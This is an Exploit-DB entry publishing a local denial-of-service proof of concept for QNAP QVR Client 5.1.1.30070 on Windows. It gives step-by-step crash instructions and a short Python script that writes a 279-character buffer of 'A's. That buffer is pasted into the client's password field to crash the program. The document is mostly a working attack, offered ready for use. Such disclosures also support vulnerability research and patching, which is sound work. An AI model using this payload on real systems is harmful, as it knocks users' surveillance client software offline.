EDB-ID: 45092 | Author: Luis Martínez | Published: 2018-07-27 | CVE: N/A | Type: Dos | Platform: Windows | Vulnerable App: N/A | # Discovery by: Luis Martínez
# Discovery Date: 2018-07-26
# Vendor Homepage: https://www.qnapsecurity.com/n/en/
# Software Link : http://download.qnap.com/Surveillance/QVRClient/Qmon_5.1.1.30070.zip
# Tested Version: 5.1.1.30070
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es
# Steps to Produce the Crash:
# 1.- Run python code : python QNap_QVR_Client_5.1.1.30070.py
# 2.- Open QNap_QVR_Client_5.1.1.30070.txt and copy content to clipboard
# 3.- Open QVR.exe
# 4.- Direccion IP/Puerto -> 10.10.10.1 / 80
# 5.- Username -> admin
# 6.- Paste ClipBoard on Password
# 7.- OK
# 8.- Crashed
#!/usr/bin/env python
buffer = "\x41" * 279
f = open ("QNap_QVR_Client_5.1.1.30070.txt", "w")
f.write(buffer)
f.close()